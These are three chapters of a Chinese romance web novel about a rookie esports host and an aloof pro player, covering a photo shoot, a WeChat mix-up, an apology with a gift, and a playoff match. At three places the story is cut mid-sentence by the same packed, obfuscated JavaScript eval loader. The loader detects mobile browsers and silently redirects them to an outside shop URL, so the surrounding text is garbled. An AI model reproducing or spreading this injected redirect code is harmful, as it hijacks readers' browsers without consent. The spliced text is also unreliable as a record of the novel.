别出心裁的是,他的脸上还戴了一具张扬的挂耳金流苏面帘,轮廓起伏的下半张脸若隐若现,一双雪亮眼眸在反光板下顾盼生光。 连昼的思绪恍恍惚惚漂游起来。 可能是因为司偕的脸被遮住大半,这样看着他,忽然间就不再有那种似曾相识的感觉。 或者说,他跟Morpho本来也没有那么像。 司偕有一种独特的冷艳,与Morpho当年鲜衣怒马的意气截然不同。 连昼想了又想,还真只有口口相传的“Bking”一词才能准确形容少爷的气质。 少爷的粉丝看似文盲般词穷,却原来是文豪般精辟。 她驻足门口,不自知地看了好一会儿,直到栗子过来在她眼前晃了晃手:“这是几?” 连昼淡定答:“五。” 栗子右手比着一个耶:“果然看入迷了,这是二。” 连昼被噎住:“你晃那么快,我就算没入迷也看不清。” “就算没入迷……”栗子乐了,“逗你一下,你怎么真自爆啊。” “没有!”连昼马上否认,声音却没底气地弱了下去。 她知道再说下去全是破绽,干脆转移话题,“我头发好痛,一万个夹子戳头皮,快帮我拆了吧。” 栗子果然被转移了注意力,赶紧扶着她回化妆间,好几个化妆师一起围上来帮忙拆了十几分钟才拆完发包夹子。 连昼整个人都被拆空白了,扒拉了两下毛躁长发,根本梳不开,一头乱糟糟。 她只能一缕一缕地理发结,才捋了一点就听见门口传来IR几人的声音,她动作一停,下意识地想拿帽子遮一下头发。 帽子举起一半,又放了回去。 忘了,这是司偕的帽子。 ——不对啊,头发乱一点怎么了,有什么好遮的。 连昼定了定神,稳住表情,继续对着镜子理头发。 然而镜子很不幸地对着化妆间的门,她还是能清楚地看见五个男生吵吵嚷嚷地挤进来。 不,是四个男生吵吵嚷嚷地挤进来。 因为司偕进了门就开始高冷。 连昼的视线穿过镜子,绕了一圈,回到自己头发上。 眼角余光却避无可避地看见一道红色身影走过来,坐下,不声不响,任凭化妆师一哄而上给他拆妆发。 那具金流苏面帘被随意搁在化妆盒上,连昼透过镜子注视它。 明明是明艳招摇的配饰,竟然能跟一张冷脸如此契合。 栗子在身后居心叵测地问:“昼昼,你是不是喜欢那个面具啊?” 声音不大不小,刚好够旁边的人都听见。 连昼头顶无语地冒出六个点。 “啊,没有,我发呆呢。” 好像从中找到了什么乐趣,栗子笑得肩膀都在颤,连昼背过身,用眼神警告她不要瞎起哄了。 令人头疼的是,还真有人把这无聊的起哄听了进去。 司偕纤长的食指挑起面帘,看过来,语气清淡:“这个吗?” 少爷,这种时候就没必要事事有回应了吧。 连昼搪塞:“没有,栗子是说簪子。” 司偕微微挑眉:“可是你刚刚一直盯着这个。” “是吗……”没料到会被他发现,连昼尴尬一笑,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545569|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个也好看的,你戴好看,不用给我。” 司偕眼神闪了闪。 “好看?” 连昼点头,诚恳吹捧少爷:“特别好看。” 少爷唇角扬起一点压不住的弧度,又立即把脸转到另一边。 但是那点弧度实在太明显,明显到连昼都看见了,躲开也没有用。 连昼反应两秒,后知后觉——少爷好像被吹捧开心了。 她一头雾水,他这么好哄啊,那IR粉丝早吹晚捧的,他是不是每天看评论都能笑得睡不着。 人设崩了吧。 好怪,可能是受到了最近大地磁暴的影响。 连昼思考片刻,盖棺定论。 头发打这么多结应该也是受到了大地磁暴的影响。她深吸一口气,继续战斗,耗时二十分钟才勉强梳顺。 摄影师最后过来跟大家确认任务完成,大声宣布今天的拍摄顺利结束。 接下来就是各归各家。 连昼知道苏西很忙,但此时不得不去打扰了,毕竟她连现在要去哪里都不知道。 苏西果然忙忘了:“不好意思啊,我现在叫人安排,在思丽顿,你先自己过来吧,路费可以报销。” 连昼一边跟随IR的人回车上拿行李,一边用地图搜索地址。 为工作方便,酒店离赛馆比较近,但是离今天的拍摄地有点距离,打车还要四五十分钟。 尼克见她盯着地图皱眉,热心提议:“思丽顿是吧,我们送你过去。” 连昼忙摆手:“你们不要耽误备赛,我自己打车就行。” “别客气。”季明礼歪头靠在椅背上,下巴微抬,“我们肯定顺路。” “真的假的?”打野Ash坐他旁边,好奇地唠出一长串车轱辘话:“你怎么知道顺路啊,你去过吗?你去过吧,现在在这装先知,季明礼你太装了,你有时候比司偕还装。” 季明礼捂耳朵:“因为我们肯定都住比赛场馆附近啊,你快闭嘴。” 尼克闻言也查了一下地图,更加坚持:“对啊,还真是顺路,你别客气了,快坐下快坐下。” 那就没必要推辞了,连昼道谢。 转头看看身边,前后左右一步之内只有一个位置。 司偕身边的位置。 连昼踌躇起来。 由于某种师出无名的心虚,她好像没法大大方方在他身边坐下,但刻意跨出好几步坐到别的位置又有多此一举的嫌疑。 纠结之下,她做作地打了个哈欠:“那我可以去后面靠一下吗,有点累。” 当然不会有人反对。 于是连昼名正言顺地走过两列座位,独自占据后排空座,半倚半靠着摆出一副累不可言的样子。 人到齐发车启程,车身摇摇晃晃把人摇得昏昏欲睡,车内安静下来,她也闭上了眼睛。 没过几分钟,手机铃声叮咚响起,连昼拿起来点进微信,是季明礼的消息。 【Monsoon:冷不冷,司偕有外套】 【连昼:没事,现在还好】 季明礼没有立刻回复,连昼以为对话就此结束,刚把手机放下,微信又响起叮咚一声。 【Monsoon:test】 【连昼:?】 【Monsoon:test】 铃声提示音叮咚叮咚,连昼听得云里雾里。 这是在测试什么? 【Monsoon:你看看司偕的聊天框】 司偕的聊天框怎么了—— 等等,他的聊天框好像被…… 连昼隐约有了一个不太妙的想法,瞬间紧张得手指绷直。 她从聊天界面点回消息列表。 跟在Monsoon下面的,是一个被设置了消息免打扰的对话框。 有三条灰色标记的未读消息。 (7分钟前)【Serein司偕:要不要外套。】 (5分钟前)【Serein司偕:我送过来?】 还有一条1分钟内的最新消息,大概是刚发来确认猜测的。 【Serein司偕:1】 依然没有提示音响起。 8. IR名宿 开赛前夕排班表公布,季后赛前半段里没有连昼的名字。 考虑到她没有前场主持经验,要先跟着另一位主持琪文学习几天。 苏西姐把话说得很直白:“反正你只要最后两轮能用就行。” ——因为季后赛按照常规排名自下而上轮战,IR排名高,只需要打最后两轮。 连昼觉得事态变得有些诡异。 仿佛自己成了某种热度催化剂,IR专用的那种。 不过这点微妙的诡异感不值一提,她现在有更头疼的不想面对IR的理由。 开赛第一场,老牌战队KG对战PNG,对局进行得不温不火,连昼在后场看大屏直播,看着看着就心不在焉地拿出了手机。 微信里只有几条不痛不痒的工作消息。 在司偕聊天框里发送的那条“对不起”仍然孤零零挂着,已经第五天了,杳无回音。 也不奇怪,他没直接拉黑都算好的。 习惯被众星捧月的少爷怎么忍得了被人屏蔽消息的恶劣行径,况且这个人还有当面把他认成别人的前科。 连昼叹了口气,这下好像是真的完蛋了,不敢想下次再跟司偕碰面时气氛会有多灾难。 琪文发现她神游,点了点她手中笔记本,提醒道:“KG神龙魂了。” 连昼赶紧低头记笔记,重点标注KG打野非常亮眼的抢龙细节,这种操作可以在赛后作为切入点展开采访。 琪文认真看着比赛,感叹道:“KG现在状态很好,感觉能往上打赢好几轮。” 连昼赞同点头。 KG毕竟是斩获过全球赛巅峰赛冠军的豪门战队,虽然这次常规赛排名不高,但看得出来他们最近磨合越发成熟。 今年夏季赛如果有黑马战队的话,KG绝对是最有可能的。 “我很喜欢Mist。”琪文指尖点向大屏上的KG辅助,“KG夺冠那年,他和Morpho的下路组太惊艳了。” 古早记忆被唤醒,连昼也跟着重提旧事:“他们的流星雨(流星剑刃+雨女)超帅,我还特意学Morpho练流星剑刃,结果排位把把被揍哭。” 琪文会心一笑:“我当时也学Mist玩雨女来着,可惜没找到我的流星剑刃,下次我们组排?” 两个KG旧粉相见恨晚,当即组成流星雨羁绊,一边追忆KG往事一边观摩比赛。 季后赛赛制是BO5(五局三胜),晚上六点开始,本来以为要熬到到半夜才能结束,没想到KG3:0早早就赢下了比赛。 聊得意犹未尽的琪文被催去台前主持,连昼不需要去前场,但她需要在后场对胜队做一个花絮采访。 这个环节是主办方和媒体想出来的新花招。 大概流程是直播中发布实时微博搜集网友关于本期选手的提问,选手现场回应热评,然后装扮一些搞怪小道具留下拍立得照片送给观众。 简而言之,折磨选手,吸引观众。 连昼提前赶到胜采间,工作人员准备了一大堆五花八门的装饰道具,非要让她先挑一个戴上。 美名其曰:主持人先把氛围搞起来,等下选手才不会拘束。 她无奈,只得拿起一个跟身上白裙子比较搭的毛绒垂耳兔发箍戴在头顶。 刚做好准备工作,就看见KG战队的中辅二人先后进门。 连昼其实对他们并不陌生,当年追着Morpho到处看比赛,自然而然也对他的队友们有所了解。 她单方面产生了一些他乡遇故知的感慨,上前去主动打招呼。 打野眼前一亮:“这个主持好可唔……” 辅助Mist捂住了他的嘴,“少发骚,这么多镜头。” 两人到底是老牌职业选手,经历过大风大浪处变不惊,在这场花里胡哨的花絮采访中也做到了倾情配合。 他们先是应网友呼声来了一场野辅默契大考验问答,接着面不改色地从道具堆里选了两对最花哨的仙女翅膀,互相帮忙穿戴上了。 连昼在斜前方举起拍立得:“看这边——OK啦。” 快门按下一气呵成,整场采访顺利得不像话。 工作人员收拾东西下班,连昼也处理好了拍立得照片,向KG野辅确认可不可以发在官博上给粉丝抽奖。 打野满不在乎地表示:“随便发。” 任务圆满完成,连昼颇为愉悦,殷勤目送二位选手出门:“辛苦Ye选手、辛苦Mist选手,下场比赛加油哦。” Mist左脚已经迈出了门,闻言却回过头来,恶劣一笑:“今天怎么不说感谢Morpho选手啊?” 连昼:…… 世界何曾善待过她。 因工作顺利而短暂轻松的心情一下子被拉回灰色地带,她摸出手机,看了一眼微信,司偕的对话框还是没有动静。 算了,反正本来就狠狠得罪过了,多添一笔恶行又能怎样。 退一万步讲,司偕总不会在直播镜头前甩脸色吧。 连昼有点摆烂地关上手机。 过了一会儿,她又打开赛程表算了一下日期。 算出来距离司偕直播甩脸色还有区区六天。 连昼恍惚有一种考试周写不出论文的淡淡绝望感,她总觉得自己应该有点行动,甚至想再给他发条消息道歉,可是能说什么呢? 连上次那种“不是故意的”公式都没法套,因为她就是故意屏蔽的。 罪状确凿,蓄意得罪,再一再二,无可辩驳。 赫拉克利特指出人不能两次踏进同一条河流,连昼消沉地想:看见没,我可以。 愁云惨雾似的焦虑笼罩着她,好在接下来这六天赛事紧凑,行程被彩排和笔记填得满满当当,倒也没剩下多少时间内耗。 死期款款到来的这天,赛程进入四强战第一场,凭借与IR的舆论羁绊,连昼接到了第一次台前主持的排班表。 七月下旬的奚城又热又燥,她顶着烈日提前半天赶到赛场,场馆外到处都是举着应援手幅和芒星灯牌的粉丝,不用看也知道,都是来接IR上班的。 这就是顶流队的排场,36℃露天炙烤也烤不过IR首战的热度。 连昼从工作通道进到馆内,霎时间一阵晃眼。 舞台左右分别挂上了巨幅海报,对战双方的十位选手定妆照像驱邪符一样悬在半空悠悠荡荡; 观众席中间的灯带分成红蓝光,左边IR,右边TNG,循环播放战绩大字报; 各种追光也派上了用场,这会儿灯光师正在调试,一束束光来回逡巡,把场馆闪得像夜店舞池。 隆重到如此地步,可想而知赛事方有多珍惜IR的流量。 连昼遮着眼睛走到后台,还没到上班时间,休息室里安安静静空无一人,她就自己在角落里一遍又一遍地练习报幕词和台上开场词,约莫一个小时后,两个解说和主持琪文一起到了后台。 其中一个解说见到昼昼,脸上浮出久闻大名的神情:“昼昼对吧,我知道你。” 连昼当然也认识他,那个全球赛上锐评“Serein站位激进”被私信爆破20万条的倒霉解说思齐。 思齐跟她交流起作案经验:“你上次收到多少条私信?” 连昼回想了一下,诚实回答:“没注意,我不怎么看微博。” “那挺好,尽量别看。”思齐予以肯定,话锋一转,“今天你主持?苏西是不是故意的啊,IR比赛就排给我们这种有案底的名宿。” 连昼疑惑:“你不知道吗,苏西姐就是故意的。” 思齐:“……” 琪文扑哧笑了出来:“昼昼心理素质挺好,适合我们这行。” 连昼捏了捏手指,没再吭声。 她要是心理素质有脸上表现的这么强,就不至于偷偷把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545570|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机摸出来刷IR的上班讯息了。 下午两点四十,有IR粉丝发布了场馆门口接上班的视频,她们带来的礼物一件都没送出去,视频里一堆人眼睁睁看着几个粉色身影大步流星冲进了工作通道。 粉丝配文:“我R好强的气势,脚底生风跑快快!今晚输不了一点!” 连昼无语:有没有可能,是因为他们快迟到了呢? 她有预感地放下手机,果然下一秒工作人员就进来通知两支队伍到齐,彩排开始。 所谓的彩排不过是浅浅走一遍场地,奚城算是老牌主场了,工作人员和选手都来过好几次,简单确认一下就行。 连昼从报幕开始顺流程,上台前她要和两支队伍一起等在后台,两侧选手按照她的报幕依次登场。 她顺着拥挤人群站定在更近的右侧后台,转头一看,身边是阳城TNG的五个队员。 那IR应该是在左边了,堪堪错过。 说不清是侥幸还是什么感觉,也没时间细想,连昼定神,按例随意报了几个选手ID,两队选手自觉入场落座,她随即走到台前念开场词。 “各位神谷使者,欢迎来到夏季季后赛……” 刚试说两句,现场导演就急吼吼地表示可以了没问题,下一步下一步。 下一步流程跟连昼没什么关系,时间留给选手调试键鼠设备,再接着就是正式比赛,主持人要等比赛结束才上台进行幸运观众互动和采访。 眼下两边队员纷纷掏出设备进行调试,连昼站在舞台中间,听见导演从舞台左侧朝她招手。 她径直从台前向左走,经过IR座位时,不自觉绷直了颈背。 眼眸像有了自主意识一样,鬼使神差地,向他们偏移了一下。 在这电光朝露的一瞬间,她的视线竟然精准地落到了第四个位置。 司偕已经戴好耳机,流转的追光灯在他脸上淌过去,光影明暗交错,神情冷若冰山。 他没有抬头,当然也就没有注意到她稍纵即逝的注视。 连昼走下舞台,工作人员聚集在一起,有条不紊确认好全部流程。 导演单独留下连昼,欲言又止了一下,最后说:“我知道你压力大,不过凡事都是双刃剑,关注度高也不全是坏事,今天好好表现。” 这两句话说得很中肯,连昼心里也清楚,如果不是舆论关注度高,自己不可能这么快就登上四强赛舞台。 她点头,卖了个乖:“谢谢导演,使命必达!” 彩排走完后还有两个小时,连昼回到休息室,让栗子以最快的速度帮忙上妆发。 琪文在旁边自己系马面裙,她常驻奚城赛场,穿起汉服来轻车熟路,都不需要造型师帮忙。 连昼有意无意地问:“琪文姐,我要不要去给选手送点饮料?” “随你啊,可以不送。”琪文反问,“怎么突然想起这个?” 连昼支吾道:“第一次台前主持嘛,谢谢大家配合。” 得到了琪文的赞成,她低头给季明礼发消息。 【连昼:你们比赛喝什么?我送过来】 【Monsoon:司偕喝白开水,不用送。】 【连昼:……】 【Monsoon:另外三个自带可乐】 连昼无奈作罢:【那就算了】 【Monsoon:我可以为你喝杯咖啡。】 【Monsoon:你就当来找我。】 不得不说,季明礼简直是一个完美的朋友。 白昼诚意满满地去给季明礼准备咖啡,摩卡拿铁浓缩燕麦,能点的全来一杯,妥妥贴贴让他满意。 临出发时,她轻手轻脚从包里拿出一顶棒球帽,更妥贴地抱在怀里。 耳边响起竞竞世界最闪亮的那句台词: “面对疾风吧!” [注:此句为LOL英雄亚索台词] 9. 少爷请看 IR的备赛室很乱,很符合连昼对他们的刻板印象。 上野两人四仰八叉地横在沙发里,Dzz使劲往他们中间挤,三颗脑袋凑在一起看同一个手机屏幕,看起来是在复盘以前的比赛。 季明礼和他们的教练大秦坐在一起,有一搭没一搭地分析TNG打野的gank(偷袭抓人)习惯。 司偕则单独靠坐在最里面,左手揉着右手腕,膝盖上搭着手机,手机屏幕里隐约有刀光剑影的声音,大概也是某一场对局的回放。 他看得全神贯注,恍如一座漂亮雕塑一样纹丝不动。 连昼见他们都在认真备赛,顿时有点怯于打扰,犹豫不决地停在了门口。 IR的经理尼克却一眼望了过来:“这不是昼昼老师嘛,你怎么来了?” 连昼不好意思地进门:“我来送点喝的。” 人一紧张就会找点话说,她举了举手中咖啡:“季明礼,你要喝哪种?” 季明礼懒洋洋靠在电竞椅里,养尊处优的作派展露无余:“都行,都拿给我。” 虽然早就跟他对好了戏,但这样未免有点太过明显。 连昼对季明礼使了个眼色:“又不是给你一个人的。” “除了我没有人喝咖啡啊。”季明礼转过头,向后方发问,“司偕,你喝咖啡吗?” 司偕到此时才抬起了眼睛。 他的视野蜻蜓点水般扫过连昼,没什么表情,很快又低下头,两片唇稍一交锋,掠出一个字。 “喝。” 连昼:“啊,好。” 她自顾自地觉得空气好像有点潮湿,手腕像被水草缠住似的,用了点力才端出来一杯:“拿铁可以吗?” 司偕这次头也没抬:“嗯。” 连昼步履局促地走过去,把拿铁递给他。 他随手接过,仍然专注地盯着自己的手机屏,不乐意分出一个眼神。 围观群众里有人比连昼更忍不下去了。 沙发上扬起一声鬼叫,Dzz叽里哇啦发表重要意见:“四偕,好装哦,我看不了,他则个B,装少耶。” 小韩援正经中文没学明白几句,骂少爷的话倒是游刃有余。 尼克一把按住Dzz脑袋,打圆场:“哈哈,司偕一向这样,昼昼老师别计较哈。” “不会不会。”连昼挂起一个笑。 Dzz不服管教奋起反抗,沙发上再次挤作一团,上野二人被无辜波及,直接加入战斗,一时间备赛室百家争鸣,奇乱无比。 趁着众人注意力分散的时机,连昼偷偷摸摸地伸出手指,扯了扯司偕粉色队服的衣角。 司偕稳如岩松的眼睫终于颤动了一下。 他视线下移,看见了扯住自己衣服的手指,眼神像电影慢动作一样向上攀延,最终停在了连昼的脸上。 “有事?”他的声音紧绷。 连昼展开肘弯,露出怀里那顶黑色宽檐棒球帽,声音同样压得低低地:“你的帽子,上次忘了还给你。” 司偕顿了顿,移开眼睛,冷淡地应了一声:“哦,放那里吧。” 连昼把帽围打开,送到他眼前:“还有这个,也给你。” 他垂眸,总算看见了藏在帽底的一道银色。 那是一组和IR队标相似的芒星流苏耳骨夹。 “感觉你很适合这种……”连昼小心翼翼措辞,“昨晚逛街看到这个,就想到了你。” 想了想,又马上补充,“刚好上次拍摄看见你有耳洞。” 绝对不是特意去超话搜的。 司偕动作缓慢地接过了帽子,低着头没说话。 连昼又拿出手机,向他展示微信联系人界面:“你看。” 最近会话列表里未读消息满满当当,挂在最顶端的是一个没有未读消息的“Serein司偕”。 “已置顶,再也不会看不到了。”她恳切承诺。 司偕表情生硬不明,又“哦”一声,没了下文。 不是吧少爷,这样都哄不好? 连昼的招数尽数用完,一时间有些尬住。 算了,事已至此。 她一咬牙,矫揉做作地合起手掌,小声祈求:“恳请赛区最强AD再原谅我一次吧。” 这个厚颜无耻、跌破下限的行为没有白费。 司偕轻咳一声,倏地扭开了脸,声音闷闷传过来:“知道了,再说吧。” 讨饶效果不错,少爷的态度明显软化。 连昼重重松了口气,开始套公式:“那我就不打扰了,你们比赛加油。” 司偕用侧过去的耳尖回答:“嗯。” 连昼转身就撤,路过季明礼时,终于记起了这个明面上的借口。 季明礼歪在电竞椅里,斜睨她:“你就这样忘了我。” 连昼立刻献上另外几杯咖啡:“怎么会,我就是专程来给你送的呀。” 季明礼轻轻叹气,挥手:“你走吧。” “中单也要加油哦~” 抛下一句欠欠的加油,连昼头也不回地退出IR备赛室,回程路上甚至小哼起了歌。 也许是她的愉快表现得太明显,引来琪文啼笑皆非的调侃:“昼昼连哼歌都哼《Who Dares Wins》(《OG》主题曲)啊,大家快把泪目打在公屏上。” “泪目泪目。”妆造师敷衍两下,忙忙叨叨地催促,“连昼你还不换衣服!穿汉服要多久你不知道吗!” 连昼忙不迭应声:“来了来了,我穿什么呀?” 妆造师事先选好了一套唐风大袖衫诃子裙,上下扫视一遍连昼,忽然改变了主意:“我有个大胆的想法。” 于是连昼最后走出更衣室时,长发半冠半散,一身雪色束腰交领道袍,仙鹤白翅从袍角舒展到腰际,整个人松风挺秀,不落俗套。 栗子惊叹:“还看什么比赛啊,让IR和TNG都回去,今天昼昼上台罚站一整晚就行了!” 妆造师颇为自得:“这下谁还分得清我和易小雅。” “易小雅是谁?”连昼问。 妆造师:“我同行,你别管。” 几个人拿着手机三百六十度拍来拍去,欣赏得没完没了,直到现场导演派人来提醒了时间,连昼才匆忙拿好手卡和麦前去候场。 与彩排时不同,这次她多走了一段,走到了后台左侧。 IR站没站相,一队粉色队服互相倚着靠着乱成一团,正在你一拳我一脚,互相挑衅闹事。 见她过去,五个人不约而同停下了动作。 Dzz睁大了眼睛:“好好康哦,你穿,则个衣服。” 被他们注目着,连昼的耳朵有点发热,她硬生生压住嘴角,若无其事地装了起来:“还好啦。” 原来死装的感觉这么好。 她努力克制了一下,提醒道:“你们可以想一想出场pose。” 开场后选手要在主持报ID时依次登台,走到舞台中间时一般会摆出形形色色的pose跟观众互动。 IR是这个环节的翘楚,最出圈的一次是他们五个人一起走到台中,互相拉着手摆出了一个四瓣花的造型,司偕板着脸在中间扮演冷酷花蕊。 当然,那场的主持人被秀得毫无防备,差点没能报完五个ID。 连昼警惕地问:“你们今天出场会整活吗?” 上野看了看司偕,又瞄了一眼季明礼,显而易见,队内的话语权在这两位手中。 官方发言人季明礼先开金口:“为了你的工作可以忍一忍。” 司偕:“嗯。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545571|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连昼也忍了忍,“那谢谢你们了。” 晚六点整,赛场大屏上倒计时归零,炫目灯光从场馆各个角落亮起,观众汹涌的欢呼声传到后台,震荡耳膜。 连昼深吸一口气,握起麦朗声报幕:“欢迎来到CGL夏季季后赛第七日,IR对战阳城TNG!” “首先欢迎IR战队,上单,Yuan!” “打野,Ash!” “中路,Monsoon!” …… 选手踏着报幕的声音依次出场,到司偕时,连昼匆匆抬眼。 正对上一双幽深乌润的瞳孔。 ——“下路,Serein!” 他侧身从眼前走过,连昼眨了眨眼睛,错觉似的,好像看见他耳边闪过了一点光亮。 来不及细看,她稳住声线,报幕继续:“辅助,Dzz!” …… 等两队选手登场完毕,连昼沿着舞台中线款步上场,走到锚点处站定,颈背挺立: “欢迎各位神谷使者来到比赛现场,我是主持人昼昼。” “本场IR对战阳城TNG,比赛——开始!” 观众席再次爆发出激情的欢呼和掌声,现场导演向裁判作出手势,比赛进入bp(选用英雄)环节。 顺利完成开场,连昼如释重负,下台就一溜烟跑到后台问琪文自己的表现有无瑕疵。 琪文笑道:“很好,很有气势,可以出师了。” 另一个负责直播反馈的工作人员晃了晃手机:“好多弹幕在问你是谁呢,夸你气质好。” 被他提醒,连昼也打开了微博。 不在意是不可能的,她还是想看看自己的风评有没有一点好转。 搜索“CGL主持”,跳出两条刚发布的动态。 一个名为内耗小苦瓜的用户截下了连昼的登场画面,发博提问: 【#IR季后赛首战 [星星眼]这个主持人好清爽好秀气,以前怎么没见过,新人吗?】 下面只有两条评论,一条是路人解释。 【梦雾山:是的,官方主持,叫连昼。】 另一条最新评论…… 【少爷和我:你都打上IR的tag了不知道这个垃圾主持?她妥妥蝶粉余孽啊,上次故意叫错司偕ID的就是她!】 连昼的笑容僵在脸上,默默退出了这条博文。 果然没有什么好转…… 人一旦沾上少爷,这辈子就完了,人生就定型了!再也没法清清白白做主持了! 她哀从心起,顺手搜了一下同为IR案犯的解说思齐。果不其然,思齐直播一露脸就被IR粉丝追着骂了几十条。 纵览热搜上所有CGL季后赛相关话题,IR粉丝的战斗力一览无余。 一边为IR首战转发锦鲤敲木鱼,一边手撕思齐解说立场偏颇,一边科普主持昼昼恶劣事迹,一边痛斥主办方为了流量坏事做尽,把这两个霉笔安插在IR的比赛。 简直骂出花来了,精彩发言层出不穷,连昼都有点羡慕她们的才华。 手指向下划着,偶然停留在一个IR选手选用英雄时的直播切片。 视频发布者配文:“进来看少爷耍帅被中单制裁。” 连昼好奇地点进去,比赛直播时选手是无声的,粉丝通过他们口型贴心地补上了字幕。 画面从全景转向了IR队员,导播仿佛知道怎么拍能把效果最大化,镜头突然贴近他们的脸来了个大特写,立竿见影收获观众席一波浪涌般的尖叫。 镜头继续推进,停在了司偕和季明礼中间。现场追灯耀眼,流转间擦过司偕右侧耳际,带出一丝银白亮光。 连昼的呼吸停运了一秒。 她没有看错,司偕真的戴上了那副耳骨夹。 10. 好怪的比赛 切片视频里,司偕侧脸跟教练说着什么,回头时动作却滞了一下。 是耳骨夹的流苏绊住了他的耳机线。 比赛使用头戴式耳机,本来就没有戴耳饰的空间,也不知道他是怎么硬凑上去的。 他抬手摸索耳机,被旁边的季明礼白了一眼。 视频发布者在这里翻译出了季明礼的口型:“你有病吧,摘下来”。 司偕的回复也贴上了字幕:“不要”。 季明礼:“不摘我挂机了”。 一只手从左边伸过来,Dzz毫不留情地摘下那只耳骨夹,托在手心给教练打小报告。 不等教练说话,司偕飞快把耳骨夹抓了回来,抿着唇收进外套口袋,这场没有硝烟的战争才算消停。 视频播放结束,进度条回到起始点,连昼没有动作,任由这段默片一帧帧重播到结尾。 她头脑里好像满满当当漂浮着海水般辽阔的思绪,涉水下去却什么都抓不切实,海浪来回翻涌升腾,到最后拍上岸来的只有一个想法。 ——他果然很适合这种blingbling的饰品。 胡思乱想着,连昼在屏幕上随便点了几下,划进这条视频的评论区。 评论区粉丝用极尽造诣的文字对她的审美展现出了充分肯定。 【誓死守护少爷:(叼花出现)晚上好,我的少爷(亲吻少爷耳夹)(被芒星刺到嘴唇)(狼狈离场)】 【飞往蝶的山:笑死人了,打比赛还这么骚包,以为自己在电竞101啊?】 【少爷与我-回复-飞往蝶的山:哪儿都有你,小黑子,你别是少爷深柜吧】 【晴空暴雨:他妈的,神谷尤物,司偕跟老公的区别只有两个字罢了。】 【Meng:如果司偕追我的话……[咬手指.jpg]】 【莫德感情之月-回复-Meng:我就帮你拦住他。】 【流星剑刃的狗:不敢想,如果在船上…少爷戴着这个耳夹…坠子垂到我脸上会不会很凉啊……】 【莫德感情之月-回复-流星剑刃的狗:你哪里不敢想,想完事了吧已经。】 …… 点在这条评论上的指尖像被电流窜过一样,连昼手忙脚乱按灭了手机屏幕。 琪文问:“看什么呢,慌里慌张的。” “没什么没什么。”连昼一叠声否认,丢掉手机,板板正正坐到后台大屏前看比赛,“哎呀,我就错过了十分钟,怎么经济差这么大了?” 琪文摇摇头:“不奇怪的,两队实力本来就有点差距,IR下路今天格还外凶,开局就特莱金血线压残,然后Ash过来偷了两次,TNG下路现在已经炸线了。” 连昼翻了翻各路解说和媒体的赛前预测,对今日赛果3-2、3-1的预测都有,也有毫不委婉的3-0,打出的比分虽然各不相同,却都无一例外地在胜方那栏填了IR。 没有悬念,第一把结束得很快,完全打成了IR碾压局。 连昼赶到解说席,简单总结了小局比赛内容,跟两位解说互动几句,完成串场。 赛评人商讨着本局MVP的归属,解说小熊斩钉截铁把票投给了伤转260%的AD选手,思齐忽然冒天下之大不韪,抛出一句:“但Serein今天的手感似乎并不好,虽然对线压制力打得很满,可是他中路那波团战的大招迟到了半秒,差点就空了……” 小熊笑容僵硬:“啊,瑕不掩瑜嘛——不如我们来看看最后的票数吧!” 中单一票,辅助一票,AD四票。大屏上展开了司偕的MVP海报,用的还是红色圆领袍那组定妆照,风发意气简直要从屏幕里溢出来。 连昼正站在大屏前静候转场,一瞬间刚好跟身后的MVP海报形成了一次巧妙的同屏。 她暗自忖度,这十几秒的弹幕一定不会放过她。 度秒如年地僵笑了好一会,解说间的镜头才终于切回现场,选手归位开始第二把bp。 这一局TNG选择了蓝色方,选用阵容时有一抢英雄的优势,TNG毫不犹豫抢下了AD英雄山神,随后在第二轮拿下辅助莫德之月,组成经典搭配。 这是他们下路组拿就C(主宰比赛)的招牌组合。 弹幕上IR粉丝急得跳脚。 【为什么不禁用对面的山神,IR我要吊死在你们俱乐部门口!】 【给TNG拿山神莫德之月,给少爷拿垃圾银日诡,教练你是人?】 【刚穿越过来,请问这是哪个年代的bp?】 连昼仔细看了看双方阵容,同样觉得不解。 IR的打法一向倚重下路,这一局却明显把球传给了中路的季明礼,不知道是出于什么考虑,难道是为了季后赛的新版本试练新阵容? 对局开始,前十五分钟双方打得有来有回,恶龙换塔,各有得失。 琪文游戏理解比较强,微微蹙起了眉头:“感觉IR有点怪,又说不上来。” 随即,又接上一句CGL至理名言,“不过是IR的话怎么怪都很合理。” 仿佛回到了大家熟悉的节目效果环节,这把IR打得频频爆梗,上野二人一个把敌方踹走另一个又把敌方推回来,辅助手贱戳传送草把自己弹进TNG人堆里,双C(中单+AD)恶龙坑一死一送…… 总而言之,没一个干净的,全都是战犯。 